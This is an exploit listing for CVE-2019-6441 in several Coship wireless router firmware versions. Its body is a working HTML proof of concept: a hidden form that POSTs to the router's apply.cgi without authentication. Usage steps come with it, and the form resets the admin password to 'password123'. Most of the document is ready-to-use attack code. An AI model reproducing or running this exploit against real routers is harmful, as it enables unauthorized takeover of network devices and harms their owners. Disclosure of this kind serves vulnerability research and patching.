Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset

Related Vulnerabilities: CVE-2019-6441  
Publish Date: 16 Jan 2019
Author: Adithyan AK
                							

            <!--
# Exploit Title: Coship Wireless Router – Unauthenticated Admin Password Reset
# Date: 15.01.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Affected Versions : Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-6441

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# Password of the admin will now be changed as "password123"

# PoC :
-->

<html>
  <!-- Change the X.X.X.X with the router's IP address -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/apply.cgi" method="POST">
      <input type="hidden" name="page" value="regx/management/accounts.asp" />
      <input type="hidden" name="http_username" value="admin" />
      <input type="hidden" name="http_passwd" value="password123" />
      <input type="hidden" name="usr_confirm_password" value="password123" />
      <input type="hidden" name="action" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>